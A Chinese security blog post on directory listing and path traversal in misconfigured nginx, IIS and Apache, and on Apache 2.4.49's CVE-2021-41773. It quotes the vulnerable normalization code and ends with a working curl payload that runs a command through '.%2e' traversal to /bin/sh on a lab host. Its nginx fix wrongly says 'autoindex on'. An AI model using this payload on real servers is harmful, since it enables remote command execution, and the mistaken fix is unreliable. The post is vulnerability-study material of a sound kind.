前言

在前段时间省级hw期间,这个漏洞还是暴漏的不少的,并且危害不小;然后就通过这篇文章记录一下关于这个洞的一些细节。

nginx目录穿越

在nginx配置中,有一个关键字autoindex。他的作用就是是否开启目录浏览;也就是是否能看到目录下的文件。

        location /test/ {
            autoindex on; 
          //autoindex off;
            alias /home/;
        }

这里再说明一下关键字root和alias。其实很好区别,看下边的两个例子:

        location /test/ {
            autoindex on; 
            alias /home/;
        }
----------------------------------
          location /test/ {
            autoindex on; 
            root /home/;
        }

第一种访问test时候,当前文件就是在/home下,第二种访问/test时候当前目录是在/home/test下。

然后讲一下这个漏洞,归根就是配置的问题。可能有的工作人员因为粗心等,导致配置出错。

image-20240728194110320

漏洞复现

如果配置/test后边不加/的话我们使用..就会导致访问/home的上一级目录,也就是根目录。

image-20240728194640533

所以配置文件一定要写好,不然会出现不必要的麻烦。如果我们不需要目录浏览功能的话,可以直接在/etc/nginx/sites-avaliable/default配置文件下写上 autoindex on;

IIS目录遍历

在IIS网站属性中,在主目录设置有一个是否开启目录浏览的选项,如果打开访问网站则能看到文件的目录。

漏洞复现

image-20240730170922494

Apache配置导致目录泄露

漏洞出现原因:httpd.conf 配置文件错误导致。

原理:当访问一个目录时,Apache服务器会默认寻找一个index list中的文件,如果文件不存在则会列出当前目录下的所有文件。

漏洞复现

修改配置文件。要想触发这个漏洞需要改一下配置文件。

httpd.conf

image-20240730175435720

在indexes前面确保是+号,+代表开启浏览;-表示禁止浏览。

vhost.conf

保持一致: image-20240730175614159

确保要访问的目录下没有indexes list

image-20240730175805482

修复措施:在vhosts.con改为-号。

image-20240730180020332

Apache HTTP Server 2.4.49 路径穿越漏洞(CVE-2021-41773)

Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。在其2.4.49版本中,引入了一个路径穿越漏洞,满足下面两个条件的Apache服务器将会受到影响:

攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。

在这个版本中在对路径规范过程中出现漏洞。在其server/util.c/ap_normalize_path

AP_DECLARE(int) ap_normalize_path(char *path, unsigned int flags)
{
    int ret = 1;
    apr_size_t l = 1, w = 1;
​
    if (!IS_SLASH(path[0])) {
        /* Besides "OPTIONS *", a request-target should start with '/'
         * per RFC 7230 section 5.3, so anything else is invalid.
         */
        if (path[0] == '*' && path[1] == '\0') {
            return 1;
        }
        /* However, AP_NORMALIZE_ALLOW_RELATIVE can be used to bypass
         * this restriction (e.g. for subrequest file lookups).
         */
        if (!(flags & AP_NORMALIZE_ALLOW_RELATIVE) || path[0] == '\0') {
            return 0;
        }
​
        l = w = 0;
    }
​
    while (path[l] != '\0') { 
        /* RFC-3986 section 2.3:
         *  For consistency, percent-encoded octets in the ranges of
         *  ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D),
         *  period (%2E), underscore (%5F), or tilde (%7E) should [...]
         *  be decoded to their corresponding unreserved characters by
         *  URI normalizers.
         */
        if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
                && path[l] == '%' && apr_isxdigit(path[l + 1])
                                  && apr_isxdigit(path[l + 2])) {
            const char c = x2c(&path[l + 1]);
            if (apr_isalnum(c) || (c && strchr("-._~", c))) {
                /* Replace last char and fall through as the current
                 * read position */
                l += 2;
                path[l] = c;
            }
        }
​
        if ((flags & AP_NORMALIZE_DROP_PARAMETERS) && path[l] == ';') {
            do {
                l++;
            } while (!IS_SLASH_OR_NUL(path[l]));
            continue;
        }
​
        if (w == 0 || IS_SLASH(path[w - 1])) {
            /* Collapse ///// sequences to / */
            if ((flags & AP_NORMALIZE_MERGE_SLASHES) && IS_SLASH(path[l])) {
                do {
                    l++;
                } while (IS_SLASH(path[l]));
                continue;
            }
​
            if (path[l] == '.') {
                /* Remove /./ segments */
                if (IS_SLASH_OR_NUL(path[l + 1])) {
                    l++;
                    if (path[l]) {
                        l++;
                    }
                    continue;
                }
​
                /* Remove /xx/../ segments */
                if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
                    /* Wind w back to remove the previous segment */
                    if (w > 1) {
                        do {
                            w--;
                        } while (w && !IS_SLASH(path[w - 1]));
                    }
                    else {
                        /* Already at root, ignore and return a failure
                         * if asked to.
                         */
                        if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
                            ret = 0;
                        }
                    }
​
                    /* Move l forward to the next segment */
                    l += 2;
                    if (path[l]) {
                        l++;
                    }
                    continue;
                }
            }
        }
​
        path[w++] = path[l++];
    }
    path[w] = '\0';
​
    return ret;
}

对路径的判断逻辑是:如果检测到%字符时,就会往后去读取两位,看这两位是否为16进制字符;如果是,就会对其url解码,转换成标准字符;如果转换后的字符为.,会判断后两位是否为./进而判断是否允许目录穿越。因此当出现.%2e/ %2e%2e/形式的时候,代码就不会检测为路径穿越符号。

漏洞复现

环境搭建,这里使用vluhub的环境

docker-compose build
docker-compose up -d

image-20240729173515713

没问题,我们去目录遍历读取文件试试:

image-20240729173823601

这里注意/icons/必须是一个可以访问的文件。

在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令:

    curl -v --data "echo;id" 'http://192.168.26.131:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'